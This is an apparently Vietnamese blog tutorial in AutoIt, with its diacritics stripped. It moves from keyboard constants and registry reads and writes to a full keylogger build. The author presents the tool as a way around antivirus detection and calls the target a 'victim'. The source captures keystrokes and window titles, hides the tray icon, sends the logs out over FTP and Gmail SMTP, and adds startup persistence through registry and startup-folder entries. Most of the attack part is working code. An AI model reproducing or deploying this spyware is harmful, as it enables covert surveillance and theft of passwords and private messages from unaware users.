#cs* Fujitsu/OASYS kbd definitions#ceGlobal Const $VK_OEM_FJ_JISHO = 0x92 ; 'Dictionary' keyGlobal Const $VK_OEM_FJ_MASSHOU = 0x93 ; 'Unregister word' keyGlobal Const $VK_OEM_FJ_TOUROKU = 0x94 ; 'Register word' keyGlobal Const $VK_OEM_FJ_LOYA = 0x95 ; 'Left OYAYUBI' keyGlobal Const $VK_OEM_FJ_ROYA = 0x96 ; 'Right OYAYUBI' key
#cs* = 0x97 - = 0x9F : unassigned#ce
#cs* $VK_L* & $VK_R* - left and right Alt, Ctrl and Shift virtual keys.* Used only as parameters to GetAsyncKeyState() and GetKeyState().* No other API or message will distinguish left and right keys in this way.#ce
Global Const $VK_LSHIFT = 0xA0Global Const $VK_RSHIFT = 0xA1Global Const $VK_LCONTROL = 0xA2Global Const $VK_RCONTROL = 0xA3Global Const $VK_LMENU = 0xA4Global Const $VK_RMENU = 0xA5
Global Const $VK_BROWSER_BACK = 0xA6Global Const $VK_BROWSER_FORWARD = 0xA7Global Const $VK_BROWSER_REFRESH = 0xA8Global Const $VK_BROWSER_STOP = 0xA9Global Const $VK_BROWSER_SEARCH = 0xAAGlobal Const $VK_BROWSER_FAVORITES = 0xABGlobal Const $VK_BROWSER_HOME = 0xAC
Global Const $VK_VOLUME_MUTE = 0xADGlobal Const $VK_VOLUME_DOWN = 0xAEGlobal Const $VK_VOLUME_UP = 0xAFGlobal Const $VK_MEDIA_NEXT_TRACK = 0xB0Global Const $VK_MEDIA_PREV_TRACK = 0xB1Global Const $VK_MEDIA_STOP = 0xB2Global Const $VK_MEDIA_PLAY_PAUSE = 0xB3Global Const $VK_LAUNCH_MAIL = 0xB4Global Const $VK_LAUNCH_MEDIA_SELECT = 0xB5Global Const $VK_LAUNCH_APP1 = 0xB6Global Const $VK_LAUNCH_APP2 = 0xB7
#cs* = 0xB8 - = 0xB9 : reserved#ce
Global Const $VK_OEM_1 = 0xBA ; ';:' for USGlobal Const $VK_OEM_PLUS = 0xBB ; '+' any countryGlobal Const $VK_OEM_COMMA = 0xBC ; ',' any countryGlobal Const $VK_OEM_MINUS = 0xBD ; '-' any countryGlobal Const $VK_OEM_PERIOD = 0xBE ; '.' any countryGlobal Const $VK_OEM_2 = 0xBF ; '/?' for USGlobal Const $VK_OEM_3 = 0xC0 ; '`~' for US
#cs* = 0xC1 - = 0xD7 : reserved#ce
#cs* = 0xD8 - = 0xDA : unassigned#ce
Global Const $VK_OEM_4 = 0xDB ; '[{' for USGlobal Const $VK_OEM_5 = 0xDC ; '\|' for USGlobal Const $VK_OEM_6 = 0xDD ; ']}' for USGlobal Const $VK_OEM_7 = 0xDE ; ''"' for USGlobal Const $VK_OEM_8 = 0xDF
#cs* = 0xE0 : reserved#ce
#cs* Various extended or enhanced keyboards#ce
Global Const $VK_OEM_AX = 0xE1 ; 'AX' key on Japanese AX kbdGlobal Const $VK_OEM_102 = 0xE2 ; "" or "\|" on RT 102-key kbd.Global Const $VK_ICO_HELP = 0xE3 ; Help key on ICOGlobal Const $VK_ICO_00 = 0xE4 ; 00 key on ICOGlobal Const $VK_PROCESSKEY = 0xE5Global Const $VK_ICO_CLEAR = 0xE6Global Const $VK_PACKET = 0xE7
#cs* = 0xE8 : unassigned#ce
#cs* Nokia/Ericsson definitions#ce
Global Const $VK_OEM_RESET = 0xE9Global Const $VK_OEM_JUMP = 0xEAGlobal Const $VK_OEM_PA1 = 0xEBGlobal Const $VK_OEM_PA2 = 0xECGlobal Const $VK_OEM_PA3 = 0xEDGlobal Const $VK_OEM_WSCTRL = 0xEEGlobal Const $VK_OEM_CUSEL = 0xEFGlobal Const $VK_OEM_ATTN = 0xF0Global Const $VK_OEM_FINISH = 0xF1Global Const $VK_OEM_COPY = 0xF2Global Const $VK_OEM_AUTO = 0xF3Global Const $VK_OEM_ENLW = 0xF4Global Const $VK_OEM_BACKTAB = 0xF5Global Const $VK_ATTN = 0xF6Global Const $VK_CRSEL = 0xF7Global Const $VK_EXSEL = 0xF8Global Const $VK_EREOF = 0xF9Global Const $VK_PLAY = 0xFAGlobal Const $VK_ZOOM = 0xFBGlobal Const $VK_NONAME = 0xFCGlobal Const $VK_PA1 = 0xFDGlobal Const $VK_OEM_CLEAR = 0xFE
#cs* = 0xFF : reserved#ce
#cs WM_KEYDOWN = 0x100 WM_KEYUP = 0x101 WM_CHAR = 0x102 WM_DEADCHAR = 0x103 WM_SYSKEYDOWN = 0x104 WM_SYSKEYUP = 0x105 WM_SYSCHAR = 0x106 WM_SYSDEADCHAR = 0x107 WM_KEYLAST = 0x108
Vy l kt thc phn ny :D , cc bi sau v UDF mnh s release UDF dng kha c chut ln bn phm , Phn sau s cp v cc hm thao tc vi process v Multithread trong Autoit :D
Tng tc vi registry trong Autoit
Ton mn hnhIn bi vit
Read/Write Registry
Registryl mt c s d liu dng lu tr thng tin v nhng s thay i, nhng la chn, nhng cu hnh t ngi s dng Windows.
Registrybao gm tt c cc thng tin v phn cng, phn mm, ngi s dng.Registrylun c cp nht khi ngi s dng tin hnh s thay i trong cc thnh phn ca Control Panel, File Associations, v mt s thay i trong menu Options ca mt s ng dng,..
Vic s dng Registry nh hng trc tip n h thng nn vic chnh sa registry phi ht sc thn trng ...
Mt v d v thay i value cc key trong registry v nh hng ca tc v ny :
Change proxy ca IDM :
bm Start , g regedit v enter s dng cng c chnh sa registry l regedit v tm n ng dn :
HKEY_CURRENT_USER\Software\DownloadManager
y ta s thy cc khaHttpProxy ,HttpPort , FtpProxy ,FtpPort, HttpsProxy ,HttpsPortchnh l cc gi tr proxy ca chng ta ... v cc khaUseHttpProxy, UseFtpProxy, UseHttpsProxychnh l cc key kch hot chc nng proxy ca IDM Hm RegWrite :
C php : RegWrite ( "keyname" [,"valuename" [, "type" [, value]]] )keynameThe registry key to write to. If no other parameters are specified this key will simply be created.
valuename[optional]The valuename to write to.
type[optional]Type of key to write: "REG_SZ", "REG_MULTI_SZ", "REG_EXPAND_SZ", "REG_DWORD", "REG_QWORD", or "REG_BINARY".
value[optional]The value to write.
V d :
RegWrite("HKEY_CURRENT_USER\Software\DownloadManager","HttpProxy","REG_SZ","112.25.12.36") ; Set proxyRegWrite("HKEY_CURRENT_USER\Software\DownloadManager","HttpPort","REG_SZ","80") ; Set portRegWrite("HKEY_CURRENT_USER\Software\DownloadManager","UseHttpProxy","REG_SZ","1") ; Enable HttpProxy (value 0:Disable)
Hm ny s thit lp Http Proxy cho IDM l112.25.12.36:80v khi ng chc nng Proxy , mun tt chc nng Proxy ca IDM th ta chi cn RegWrite value 0 vo key UseHttpProxy .Vi v d ny ta c th vit mt tool n gin c th t ng thay i proxy khi download bng IDM ri y ^^
Hm RegRead: c value ca mt key .
C php :
RegRead ( "keyname", "valuename" )keynameThe registry key to read.
valuenameThe value to read.
Bi ny tng i d nhng ng dng rt nhiu trong lp trnh , nu bit s dng mt cch linh hot c th lm ti u ha chng trnh , thay th cc hm khng cn thit v th hin c tnh chuyn nghip ca ngi lp trnh ^^ .M ngun keylogger (Autoit)
Ton mn hnhIn bi vit
Vit Keylogger bng ngn ng Autoit
bi ny mnh s hng dn cho cc bn cch vit mt phn mm keylogger n gin , gn nh cho ring mnh , c y chc nng send mail , FTP , xut log ra html nh mt con keylogger thng mi thc th ...
y l con keylogger s khi cha c pht trin , cc bn tham kho m ngun v t mnh pht trin nh ^^
1. Keylogger l g ? Keylogger hay "trnh theo di thao tc bn phm" l mt chng trnh my tnh ban u c vit nhm mc ch theo di v ghi li mi thao tc thc hin trn bn phm vo mt tp tin nht k (log) cho ngi ci t n s dng. V chc nng mang tnh vi phm vo ring t ca ngi khc ny nn cc trnh keylogger c xp vo nhm cc phn mm gin ip ...Vy ti sao khng s dng nhng keylogger c sn ??? ... Bi v hu ht cc loi keylogger hin nay nu nm trong blacklist ca cc trnh antivirus v hu ht u khng s dng c khi m cc my tnh hin nay phn ln u ci cc chng trnh antivirus update hng ngy . Hng BPK (Blazingtool Perfect Keylogger) va tung ra th trng bn keylogger mi nht ha hn kh nng qua mt cc AV hin nay ... nhng cng ch l vn thi gian cho ti khi cc chng trnh virus cp nht c m ngun ca phin bn ny v a vo blacklist ^^ ...
Khng di dng na , chng ta bt u lun v thit k m ngun mt con keylogger :"> 2. M ngun keyloggery l keylogger mnh vit lu ri , c edit li cht ^^ , s dng hm _Ispressed nn c th gp li khi ngi dng g phm qu nhanh hoc qu chm hay chn phm ... v ko capture c bn phm o , nhng bi sau ny mnh s vit v Hook & API , vit keylogger thng qua hook s khc phc c nhng nhc im nu trn :">
Source code :
;~ #NoTrayIcon ; Khng hin icon trn taskbar; ## Opt("TrayIconHide", 1) #hides the tray icon, although its visible for a second.
#include
;======================================== Variables ============================================;$hDll=DllOpen("user32.dll")$window2=""$date=@year&@mon&@mday$log=@ScriptDir ; ng dn ti file log$keystroke="";$hexKey = '0x' & $hexKey;===============================================================================================
;======================================== Directory ============================================DirCreate ($log)$file = FileOpen($log&"\logfiles"&$date&".htm", 1+256) ; To log lu tr ni dung capture (UTF-8)If $file = -1 Then ; thot nu gp li ExitEndIf
filewrite($file,'')
;===============================================================================================
Func terminate() DllClose($hDll) Exit 0EndFunc
;======================================== LogWrite ============================================
Func _LogKeyPress($what2log)$window=WinGetTitle("")Switch $window Case $window2 FileWrite($file,$what2log) Sleep(100) Case Else$window2=$window
$main="["& @Year&"."&@mon&"."&@mday&" "&@HOUR & ":" &@MIN & ":" &@SEC & '] Window: "'& $window& '"'& $what2log
If $window="Yahoo! Messenger" thenFileWrite($file, '
' & $main)ElseIf StringInStr($window,"Google Chrome") then
FileWrite($file, '
' & $main)ElseIf StringInStr($window,"Mozilla Firefox") then
FileWrite($file, '
' & $main)ElseIf StringInStr($window,"Windows Internet
Explorer") then FileWrite($file, '
' & $main)EndIf ; Set icon cho mt s chng trnh thng dng tin theo
di log
sleep (100)EndSwitchEndFunc
;===============================================================================================
$Dllcall = DllOpen("user32.dll")
;Call DLL s dng hm _IsPressed l hm chnh ca keylogger
;======================================== Alphabets ============================================While 1
If _IsPressed('6A',$Dllcall) Then local $a $a=terminate()EndIf
If _IsPressed(41,$Dllcall) Then ;if return 1 _LogKeyPress("a")EndIf
If _IsPressed(42,$Dllcall) Then _LogKeyPress("b")EndIf
If _IsPressed(43,$Dllcall) Then _LogKeyPress("c")EndIf
If _IsPressed(44,$Dllcall) Then _LogKeyPress("d")EndIf
If _IsPressed(45,$Dllcall) Then _LogKeyPress("e")EndIf
If _IsPressed(46,$Dllcall) Then _LogKeyPress("f")EndIf
If _IsPressed(47,$Dllcall) Then _LogKeyPress("g")EndIf
If _IsPressed(48,$Dllcall) Then _LogKeyPress("h")EndIf
If _IsPressed(49,$Dllcall) Then _LogKeyPress("i")EndIf
If _IsPressed('4a',$Dllcall) Then _LogKeyPress("j")EndIf
If _IsPressed('4b',$Dllcall) Then _LogKeyPress("k")EndIf
If _IsPressed('4c',$Dllcall) Then _LogKeyPress("l")EndIf
If _IsPressed('4d',$Dllcall) Then _LogKeyPress("m")EndIf
If _IsPressed('4e',$Dllcall) = 1 Then _LogKeyPress("n")EndIf
If _IsPressed('4f',$Dllcall) Then _LogKeyPress("o")EndIf
If _IsPressed(50,$Dllcall) Then _LogKeyPress("p")EndIf
If _IsPressed(51,$Dllcall) Then _LogKeyPress("q")EndIf
If _IsPressed(52,$Dllcall) Then _LogKeyPress("r")EndIf
If _IsPressed(53,$Dllcall) Then _LogKeyPress("s")EndIf
If _IsPressed(54,$Dllcall) Then _LogKeyPress("t")EndIf
If _IsPressed(55,$Dllcall) Then _LogKeyPress("u")EndIf
If _IsPressed(56,$Dllcall) Then _LogKeyPress("v")EndIf
If _IsPressed(57,$Dllcall) Then _LogKeyPress("w")EndIf
If _IsPressed(58,$Dllcall) Then _LogKeyPress("x")EndIf
If _IsPressed(59,$Dllcall) Then _LogKeyPress("y")EndIf
If _IsPressed('5a',$Dllcall) Then _LogKeyPress("z")EndIf
;========================================================================================
;=================================== Numbers =========================================== If _IsPressed('30',$Dllcall) Then _LogKeyPress("0")EndIf
If _IsPressed('31',$Dllcall) Then _LogKeyPress("1")EndIf
If _IsPressed('32',$Dllcall) Then _LogKeyPress("2")EndIf
If _IsPressed('33',$Dllcall) Then _LogKeyPress("3")EndIf
If _IsPressed('34',$Dllcall) Then _LogKeyPress("4")EndIf
If _IsPressed('35',$Dllcall) Then _LogKeyPress("5")EndIf
If _IsPressed('36',$Dllcall) Then _LogKeyPress("6")EndIf
If _IsPressed('37',$Dllcall) Then _LogKeyPress("7")EndIf
If _IsPressed('38',$Dllcall) Then _LogKeyPress("8")EndIf
If _IsPressed('39',$Dllcall) Then _LogKeyPress("9")EndIf;===================================================================================
;=================================== Keystrokes ====================================If _IsPressed('20',$Dllcall) Then _LogKeyPress(" ")EndIf
If _IsPressed('08',$Dllcall) Then _LogKeyPress("{BACKSPACE}")EndIf
If _IsPressed('09',$Dllcall) Then _LogKeyPress("{TAB}")EndIf
If _IsPressed('0d',$Dllcall) Then _LogKeyPress("{ENTER}")EndIf
If _IsPressed('10',$Dllcall) Then
_LogKeyPress("{SHIFT}")
While _IsPressed("10")
If _IsPressed('BA',$Dllcall) Then _LogKeyPress(";")ElseIf _IsPressed('BB',$Dllcall) Then _LogKeyPress("+")ElseIf _IsPressed('BC',$Dllcall) Then _LogKeyPress("")ElseIf _IsPressed('BF',$Dllcall) Then _LogKeyPress("?")ElseIf _IsPressed('DB',$Dllcall) Then _LogKeyPress("{")ElseIf _IsPressed('DC',$Dllcall) Then _LogKeyPress("|")ElseIf _IsPressed('DD',$Dllcall) Then _LogKeyPress("}")ElseIf _IsPressed('30',$Dllcall) Then _LogKeyPress(")")ElseIf _IsPressed('31',$Dllcall) Then _LogKeyPress("!")ElseIf _IsPressed('32',$Dllcall) Then _LogKeyPress("@")ElseIf _IsPressed('33',$Dllcall) Then _LogKeyPress("#")ElseIf _IsPressed('34',$Dllcall) Then _LogKeyPress("$")ElseIf _IsPressed('35',$Dllcall) Then _LogKeyPress("%")ElseIf _IsPressed('36',$Dllcall) Then _LogKeyPress("^")ElseIf _IsPressed('37',$Dllcall) Then _LogKeyPress("&")ElseIf _IsPressed('38',$Dllcall) Then _LogKeyPress("*")ElseIf _IsPressed('39',$Dllcall) Then _LogKeyPress("(")
EndIf
Sleep(10) ; important to prevent 100% CPU usage in this tight little loop WEndEndIf
If _IsPressed('14',$Dllcall) Then _LogKeyPress("{CAPSLOCK}")EndIf
If _IsPressed('1b',$Dllcall) Then _LogKeyPress("{ESC}")EndIf
If _IsPressed('23',$Dllcall) Then _LogKeyPress("{END}")EndIf
If _IsPressed('24',$Dllcall) Then _LogKeyPress("{HOME}")EndIf
If _IsPressed('25',$Dllcall) Then _LogKeyPress("{LEFT ARROW}")EndIf
If _IsPressed('26',$Dllcall) Then _LogKeyPress("{UP ARROW}")EndIf
If _IsPressed('27',$Dllcall) Then _LogKeyPress("{RIGHT ARROW}")EndIf
If _IsPressed('28',$Dllcall) Then _LogKeyPress("{DOWN ARROW}")EndIf
If _IsPressed('2e',$Dllcall) Then _LogKeyPress("{DEL}")EndIf
If _IsPressed('BA',$Dllcall) Then _LogKeyPress(";")EndIf
If _IsPressed('BB',$Dllcall) Then _LogKeyPress("=")EndIf
If _IsPressed('BC',$Dllcall) Then _LogKeyPress(",")EndIf
If _IsPressed('BD',$Dllcall) Then _LogKeyPress("-")EndIf
If _IsPressed('BE',$Dllcall) Then _LogKeyPress(".")EndIf
If _IsPressed('BF',$Dllcall) Then _LogKeyPress("/")EndIf
If _IsPressed('DB',$Dllcall) Then _LogKeyPress("[")EndIf
If _IsPressed('DC',$Dllcall) Then _LogKeyPress("\")EndIf
If _IsPressed('DD',$Dllcall) Then _LogKeyPress("]")EndIf
;=======================================================================================
WEnd
nh km cc icon :http://dl.dropbox.com/u/59972213/Blogger/Keylogger%20Mini.7z
Vy sau khi chng ta c c log th lm sao ly n t my tnh ca victim ? ... C rt nhiu cch c th ly log t my tnh ca victim nh send mail , FTP , P2P hay ch n gin l TCP hoc upload ln cc dch v upload trung gian ... Nhng mnh s ch hng dn cc bn 2 cch ph bin v thng dng nht l FTP v send mail , cc phng php khc , cc bn t tm hiu nh ^^ 3. FTPS lc v FTP :
FTP(vit tt caFile Transfer Protocoldch ra l "Giao thc truyn tp tin") thng c dng trao i tp tin qua mng li truyn thng dng giao thc TCP/IP . Ni mt cch n gin th FTP l mt giao thc chun ha x l , truyn ti tp tin , d liu gia web server v client (upload, download , edit ...)
y l th vin s dng cho giao thc FTP vit bng ngn ng Autoit , cc bn save li vi tn FTP.au3
Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)
Local $ai_InternetOpen = DllCall('wininet.dll', 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags) If @error OR $ai_InternetOpen[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_InternetOpen[0]
EndFunc ;==> _FTPOpen()Func _FTPConnect($l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 0, $l_Service = 1, $l_Flags = 0, $l_Context = 0)
Local $ai_InternetConnect = DllCall('wininet.dll', 'long', 'InternetConnect', 'long', $l_InternetSession, 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_InternetConnect[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_InternetConnect[0]
EndFunc ;==> _FTPConnect()
Func _FTPPutFile($l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)
Local $ai_FTPPutFile = DllCall('wininet.dll', 'int', 'FtpPutFile', 'long', $l_FTPSession, 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_FTPPutFile[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_FTPPutFile[0]
EndFunc ;==> _FTPPutFile()
Func _FTPGetFile($l_FTPSession, $s_RemoteFile, $s_LocalFile, $l_Flags = 2, $l_Fail = -1, $l_Attributes = 0, $l_Context = 0)
Local $ai_FTPGetFile = DllCall('wininet.dll', 'int', 'FtpGetFile', 'long', $l_FTPSession, 'str', $s_RemoteFile, 'str', $s_LocalFile, 'long', $l_Fail, 'long', $l_Attributes, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_FTPGetFile[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_FTPGetFile[0]
EndFunc;==> _FTPGetFile()
Func _FTPClose($l_InternetSession)
Local $ai_InternetCloseHandle = DllCall('wininet.dll', 'int', 'InternetCloseHandle', 'long', $l_InternetSession) If @error OR $ai_InternetCloseHandle[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_InternetCloseHandle[0]
EndFunc ;==> _FTPClose()
Sau chng ta include th vin ny vo s dng cho li gi hmV d lun cho d hiu :">
#include ; include th vin xi ^^$urlFTP='' ; ng dn s dng ftp m server cung cp cho bn (v d host mnh l ftp.raito.comli.com)$userFTP='' ; user FTP ca bn$passFTP='' ; password FTP ca bn$uploaddir = '/public_html/' ; ng dn n th mc cn upload ca bn ( mt s host mc nh ng dn cp 1 l public_html hoc htdocs)
$dllhandle = DllOpen('wininet.dll') ; gi dll thc hin hm
$Open = _FTPOpen('MyFTP Control') ; khi to giao thc FTP$Conn = _FTPConnect($Open,$urlFTP, $userFTP, $passFTP) ; kt ni ti host bng giao thc FTp khi to$Ftpp = _FtpPutFile($Conn,@DesktopDir&'\log.txt', $uploaddir & 'log.txt') ; up mt file ln host ( thay @DesktopDir&'\log.txt' bng ng dn ti file log)$Ftpg = _FtpGetFile($Conn,$uploaddir & 'log.txt',@DesktopDir&'\log.txt') ; download file log t host$Ftpc = _FTPClose($Open) ; ng giao thc FTP
DllClose($dllhandle) ; close dll
tip theo l gi log qua mail ... 4. MAILS dng hm send mail gi ni dung log bng 2 cch :1.nh km file log vo attachment gi mail ( $AttachFiles = "ng dn n file log") .2.c ni dung file log bng hm FileRead ri a vo $as_Body send mail .
;##################################; Variables;##################################$SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED$s_FromAddress = "" ; address from where the mail should come$ToAddress = "Yagami Raito" ; destination address of the email - REQUIRED$s_Subject = "" ; subject of the email$as_Body = "Hello !" ; the messagebody from the mail - can be left blank but then you get a blank mail$AttachFiles = "" ; the file you want to attach- leave blank if not needed$CcAddress = "" ; address for cc - leave blank if not needed$BccAddress = "" ; address for bcc - leave blank if not needed$Importance = "High" ; Send message priority: "High", "Normal", "Low"$s_Username = "" ; your email username$s_Password = "" ; your email password$IPPort = 465 ; port used for sending the mail$ssl = 1 ; enables/disables secure socket layer sending - put to 1 if using httpS
; :: SEND MAIL ::_INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject , $as_Body , $s_AttachFiles , $s_CcAddress , $s_BccAddress , $s_Importance , $s_Username , $s_Password , $IPPort, $ssl)
;##################################; UDF;##################################
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0) Local $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" ' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body, "") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x]) ; ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF) ;### Debug Console If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment($S_Files2Attach[$x]) Else ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF) SetError(1) Return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer If Number($IPPort) = 0 Then $IPPort = 25 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username "" Then $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $ssl Then $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Set Email Importance Switch $s_Importance Case "High" $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High" Case "Normal" $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Normal" Case "Low" $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Low" EndSwitch $objEmail.Fields.Update ; Sent the Message $objEmail.Send If @error Then SetError(2) Return $oMyRet[1] EndIf $objEmail = ""EndFunc ;==>_INetSmtpMailCom;;Func MyErrFunc() Local $HexNumber Local $strMsg $HexNumber = Hex($oMyError.Number, 8) $strMsg = "Error Number: " & $HexNumber & @CRLF $strMsg &= "WinDescription: " & $oMyError.WinDescription & @CRLF $strMsg &= "Script Line: " & $oMyError.ScriptLine & @CRLF SetError(1)EndFunc ;==>MyErrFunc
Vy l ta hon thnh xong nhng bc c bn to mt con keylogger bng Autoit vi y cc chc nng theo di , send mail , FTP ...Cc bn hy t hon thin thm chng trnh bng cch thm cc hm n chng trnh trn taskbar (#NoTrayIcon) hoc hm t khi ng cng windows trn startup , registry hoc services ...
UDF startup , cc bn t nghin cu v s dng :
#include-once
; #AutoIt3Wrapper_Au3Check_Parameters=-d -w 1 -w 2 -w 3 -w 4 -w 5 -w 6 -w 7; #INDEX# =======================================================================================================================; Title .........: _Startup; AutoIt Version : v3.2.12.1 or higher; Language ......: English; Description ...: Create startup entries in the startup folder or registry. The registry entries can be Run all the time (Run registry entry) or only once (RunOnce registry entry.); Note ..........:; Author(s) .....: guinness; Remarks .......: Special thanks to KaFu for EnumRegKeys2Array() which I used as inspiration for enumerating the Registry Keys.; ===============================================================================================================================
; #INCLUDES# ====================================================================================================================; None
; #GLOBAL VARIABLES# ============================================================================================================; None
; #CURRENT# =====================================================================================================================; _StartupFolder_Install: Creates a shortcut in the 'All Users/Current Users' startup folder.; _StartupFolder_Uninstall: Deletes the shortcut in the 'All Users/Current Users' startup folder.; _StartupRegistry_Install: Creates an entry in the 'All Users/Current Users' registry.; _StartupRegistry_Uninstall: Deletes the entry in the 'All Users/Current Users' registry.; ===============================================================================================================================
; #INTERNAL_USE_ONLY#============================================================================================================; None; ===============================================================================================================================
; #FUNCTION# ====================================================================================================================; Name ..........: _StartupFolder_Install; Description ...: Creates a shortcut in the 'All Users/Current Users' startup folder.; Syntax ........: _StartupFolder_Install([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $sCommandline = ""[,; $iAllUsers = 0]]]]); Parameters ....: $sName - [optional] Name of the program. Default is @ScriptName.; $sFilePath - [optional] Location of the program executable. Default is @ScriptFullPath.; $sCommandline - [optional] Commandline arguments to be passed to the application. Default is "".; $iAllUsers - [optional] Add to the current users (0) or all users (1). Default is 0.; Return values .: Success - Returns 1; Failure - Returns 0 & sets @error to non-zero; Author ........: guinness; Modified ......:; Example .......: Yes; ===============================================================================================================================Func _StartupFolder_Install($sName = @ScriptName, $sFilePath = @ScriptFullPath, $sCommandline = "", $iAllUsers = 0) Local $sStartup = ""
$sName = StringReplace($sName, StringTrimLeft($sName, StringInStr($sName, ".", 1, -1) - 1), "") If StringStripWS($sName, 8) = "" Or StringStripWS($sFilePath, 8) = "" Then Return SetError(1, 0, 0) EndIf
_StartupFolder_Uninstall($sName, $sFilePath, $iAllUsers) ; Deletes the shortcut in the 'All Users/Current Users' startup folder.
If $iAllUsers Then $sStartup = @StartupCommonDir & "\" Else $sStartup = @StartupDir & "\" EndIf Return FileCreateShortcut($sFilePath, $sStartup & $sName & ".lnk", $sStartup, $sCommandline)EndFunc ;==>_StartupFolder_Install
; #FUNCTION# ====================================================================================================================; Name ..........: _StartupFolder_Uninstall; Description ...: Deletes the shortcut in the 'All Users/Current Users' startup folder.; Syntax ........: _StartupFolder_Uninstall([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $iAllUsers = 0]]]); Parameters ....: $sName - [optional] Name of the program. Default is @ScriptName.; $sFilePath - [optional] Location of the program executable. Default is @ScriptFullPath.; $iAllUsers - [optional] Was it added to the current users (0) or all users (1). Default is 0.; Return values .: Success - Returns 1; Failure - Returns 0 & sets @error to non-zero; Author ........: guinness; Modified ......:; Example .......: Yes; ===============================================================================================================================Func _StartupFolder_Uninstall($sName = @ScriptName, $sFilePath = @ScriptFullPath, $iAllUsers = 0) Local $aFileGetShortcut, $hSearch, $iStringLen = 0, $sFile, $sStartup = ""
$sName = StringReplace($sName, StringTrimLeft($sName, StringInStr($sName, ".", 1, -1) - 1), "") If StringStripWS($sName, 8) = "" Or StringStripWS($sFilePath, 8) = "" Then Return SetError(1, 0, 0) EndIf $iStringLen = StringLen($sName)
If $iAllUsers Then $sStartup = @StartupCommonDir & "\" Else $sStartup = @StartupDir & "\" EndIf
$hSearch = FileFindFirstFile($sStartup & "*.lnk") If $hSearch = -1 Then Return SetError(2, 0, 0) EndIf While 1 $sFile = FileFindNextFile($hSearch) If @error Then ExitLoop EndIf If StringLeft($sFile, $iStringLen) = $sName Then $aFileGetShortcut = FileGetShortcut($sStartup & $sFile) If @error Then ContinueLoop EndIf If $aFileGetShortcut[0] = $sFilePath Then FileDelete($sStartup & $sFile) EndIf EndIf WEnd Return FileClose($hSearch)EndFunc ;==>_StartupFolder_Uninstall
; #FUNCTION# ====================================================================================================================; Name ..........: _StartupRegistry_Install; Description ...: Creates an entry in the 'All Users/Current Users' registry.; Syntax ........: _StartupRegistry_Install([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $sCommandline = ""[,; $iAllUsers = 0[, $iRunOnce = 0]]]]]); Parameters ....: $sName - [optional] Name of the program. Default is @ScriptName.; $sFilePath - [optional] Location of the program executable. Default is @ScriptFullPath.; $sCommandline - [optional] Commandline arguments to be passed to the application. Default is "".; $iAllUsers - [optional] Add to the current users (0) or all users (1). Default is 0.; $iRunOnce - [optional] Always run at system startup (0), run only once before explorer is started (1); or run only once after explorer is started (2). Default is 0.; Return values .: Success - Returns 1; Failure - Returns 0 & sets @error to non-zero; Author ........: guinness; Modified ......:; Example .......: Yes; ===============================================================================================================================Func _StartupRegistry_Install($sName = @ScriptName, $sFilePath = @ScriptFullPath, $sCommandline = "", $iAllUsers = 0, $iRunOnce = 0) Local $i64Bit = "", $sRegistryKey, $sRunOnce = ""
_StartupRegistry_Uninstall($sName, $sFilePath, $iAllUsers, $iRunOnce) ; Deletes the entry in the 'All Users/Current Users' registry.
